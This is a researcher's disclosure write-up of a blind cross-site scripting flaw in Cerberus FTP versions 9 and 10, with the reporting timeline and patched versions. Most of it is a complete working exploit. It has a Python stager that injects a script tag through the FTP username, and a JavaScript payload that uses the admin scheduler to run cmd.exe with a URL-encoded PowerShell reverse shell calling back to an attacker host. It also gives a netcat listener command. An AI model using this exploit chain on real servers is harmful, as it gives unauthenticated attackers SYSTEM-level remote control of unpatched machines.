Cerberus FTP Blind Cross-Site Scripting to remote code execution as SYSTEM. (Version 9 and 10)

Intro

We found a Blind XSS bug that we could use to go from unauthenticated user to NT AUTHORITY/SYSTEM The only access we need is to the FTP port with a default configuration. The timeline shows that Cerberus FTP was very responsive and fixed the issue promptly.

This is not the most techinal bug but it serves as a reminder that even though an admin panel is inaccessible by the user it is very important to sanitize any input here as you can reach it from other vectors.

Timeline

01-03-2019 - Reported bug

05-03-2019 - Bugfix confirmed and patch release scheduled to 12-03-2019

12-03-2019 - Patch released

Patched versions

10.0.8

9.0.14

Proof of concept

The bug

When a user connects to the cerberus FTP they can enter a username and password. If we start by entering our username as root but no password then in the admin panel of cerberus there is an entry in the connection tab.

This is the case even if the user does not exist. So just by letting the connection hang without entering the password we can force an entry here. This username field is not sanitized in the admin panel which enables us to perform blind Cross-Site scripting without any authentication. So if we enter the standard payload <script>alert(1)</script> we will see the alert box on the admin interface.

The remote code execution

After looking at the admin panel we can see that they have a feature for configuring scheduled operations. This can be many things amongst them is launching an arbitrary .exe file with custom parameters. This .exe file is then ran with system privileges.

So we ofcourse abused this in our XSS payload to launch a reverse shell with system privileges utilizing powershell.

The exploits

First we had to keep our connection open to keep an entry in the connection tab forever. This is done by entering the username and then sending NOOP commands consistently every 10 seconds to keep the connection alive. This is seen in our exploit stager.

import socket import sys import time import ssl if __name__ == "__main__" : IS_SSL = True # Is it FTPS or just FTP ? if len ( sys . argv ) != 4 : print ( "Usage: ./{b} <target_ip> <target_port> <hosted_payload_link>" . format ( b = sys . argv [ 0 ])) exit () s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) if IS_SSL : print ( "[*] SSL is turned on. Wrapping socket" ) s = ssl . wrap_socket ( s , ssl_version = ssl . PROTOCOL_TLSv1 ) s . connect (( sys . argv [ 1 ], int ( sys . argv [ 2 ]))) if "Welcome to Cerberus FTP Server" not in s . recv ( 4096 ): print ( "Target not valid or wrong banner configured" ) exit () s . sendall ( "USER <script src= \" {payload} \" ></script> \r

" . format ( payload = sys . argv [ 3 ] )) print ( "[*] Payload injected. Sending NOOP and waiting for js payload to execute" ) while 1 : print ( "[->] NOOP SENT (You can stop this when the reverse shell has connected" ) s . sendall ( "NOOP \r

" ) time . sleep ( 10 ) s . close ()

The script above takes 3 arguments. target_ip, target_port and then hosted_payload_link. The hosted payload is responsible for setting up the scheduled task and running it immediately. The powershell payload can easily be switched with something else.

// These are connect back details var lhost = "192.168.1.2" ; var lport = "80" ; // Powershell Reverse Shell var payload = "%2Fk+powershell+%22%24sm%3D(New-Object+Net.Sockets.TCPClient('" + lhost + "'%2C" + lport + ")).GetStream()%3B%5Bbyte%5B%5D%5D%24bt%3D0..255%7C%25%7B0%7D%3Bwhile((%24i%3D%24sm.Read(%24bt%2C0%2C%24bt.Length))+-ne+0)%7B%3B%24d%3D(New-Object+Text.ASCIIEncoding).GetString(%24bt%2C0%2C%24i)%3B%24st%3D(%5Btext.encoding%5D%3A%3AASCII).GetBytes((iex+%24d+2%3E%261))%3B%24sm.Write(%24st%2C0%2C%24st.Length)%7D%22" ; var token = document . getElementById ( "csrftoken" ). value ; function create_task ( token ) { var xhr = new XMLHttpRequest (); xhr . open ( "POST" , "/events/scheduler/add-new-task" , true ); xhr . setRequestHeader ( "Content-type" , "application/x-www-form-urlencoded; charset=UTF-8" ); xhr . onload = function ( e ) { if ( xhr . readyState === XMLHttpRequest . DONE && xhr . status === 200 ) { page = xhr . response task_id = JSON . parse ( page ). id ; create_target ( token , task_id ); create_schedule ( token , task_id ); } }; xhr . send ( "rule_name=xsspwned&csrftoken=" + token ); } function create_schedule ( token , id ) { var xhr = new XMLHttpRequest (); xhr . open ( "POST" , "/events/scheduler/add-schedule" , true ); xhr . setRequestHeader ( "Content-type" , "application/x-www-form-urlencoded; charset=UTF-8" ); xhr . onload = function ( e ) { if ( xhr . readyState === XMLHttpRequest . DONE && xhr . status === 200 ) { page = xhr . response } }; xhr . send ( "repeatUntil=0&count=1&startDate=2019-01-28T20:09:59.464Z&id=" + id + "&csrftoken=" + token ); } function create_action ( token , id , exeid ) { var xhr = new XMLHttpRequest (); xhr . open ( "POST" , "/events/rule/add-action" , true ); xhr . setRequestHeader ( "Content-type" , "application/x-www-form-urlencoded; charset=UTF-8" ); xhr . onload = function ( e ) { if ( xhr . readyState === XMLHttpRequest . DONE && xhr . status === 200 ) { page = xhr . response ; } }; var executable = "{1EFC6BF4-5CB5-48BB-A497-E2994FE5812F}" ; xhr . send ( "id=" + id + "&a1=1&a2=" + exeid + "&value1=" + payload + "&value2=60&csrftoken=" + token ); } function create_target ( token , id ) { var xhr = new XMLHttpRequest (); xhr . open ( "POST" , "/events/target/add-target" , true ); xhr . setRequestHeader ( "Content-type" , "application/x-www-form-urlencoded; charset=UTF-8" ); xhr . onload = function ( e ) { if ( xhr . readyState === XMLHttpRequest . DONE && xhr . status === 200 ) { page = xhr . response ; target_id = JSON . parse ( page ). id ; update_target ( token , target_id ); get_targets ( token , id ); } }; xhr . send ( "tgtType=exe&csrftoken=" + token ); } function update_target ( token , id ) { var xhr = new XMLHttpRequest (); xhr . open ( "POST" , "/events/target/exe/save" , true ); xhr . setRequestHeader ( "Content-type" , "application/x-www-form-urlencoded; charset=UTF-8" ); xhr . onload = function ( e ) { if ( xhr . readyState === XMLHttpRequest . DONE && xhr . status === 200 ) { page = xhr . response ; } }; xhr . send ( "submit=Update&exePath=C:\\Windows\\System32\\cmd.exe&guid=" + id + "&csrftoken=" + token ); } function get_targets ( token , id ) { var xhr = new XMLHttpRequest (); xhr . open ( "GET" , "/events/target/get-targets?sEcho=3&iColumns=2&sColumns=%2C&iDisplayStart=0&iDisplayLength=50&mDataProp_0=1&sSearch_0=&bRegex_0=false&bSearchable_0=true&bSortable_0=true&mDataProp_1=2&sSearch_1=&bRegex_1=false&bSearchable_1=true&bSortable_1=true&sSearch=&bRegex=false&iSortCol_0=0&sSortDir_0=asc&iSortingCols=1&_=1549316926188" , true ); xhr . setRequestHeader ( "Content-type" , "application/x-www-form-urlencoded; charset=UTF-8" ); xhr . onload = function ( e ) { if ( xhr . readyState === XMLHttpRequest . DONE && xhr . status === 200 ) { page = xhr . response ; page_json = JSON . parse ( page ); var i ; for ( i = 0 ; i < page_json . aaData . length ; i ++ ){ if ( page_json . aaData [ i ][ 2 ] === "C:\\Windows\\System32\\cmd.exe" ){ var correct_target = page_json . aaData [ i ][ 'DT_RowId' ] break ; } } create_action ( token , id , correct_target ); } }; xhr . send ( null ); } create_task ( token ); window . location . href = "/" ; // Prevent infinite loop

Before running the exploit you need to specify the host and port that you will listen on with netcat. After specifying this run the following command nc -l <port> to start listening for the reverse shell.

After we visit the admin panel we get the system shell

Twitter links:

Me: https://twitter.com/ggisx

Secu: https://twitter.com/secuinc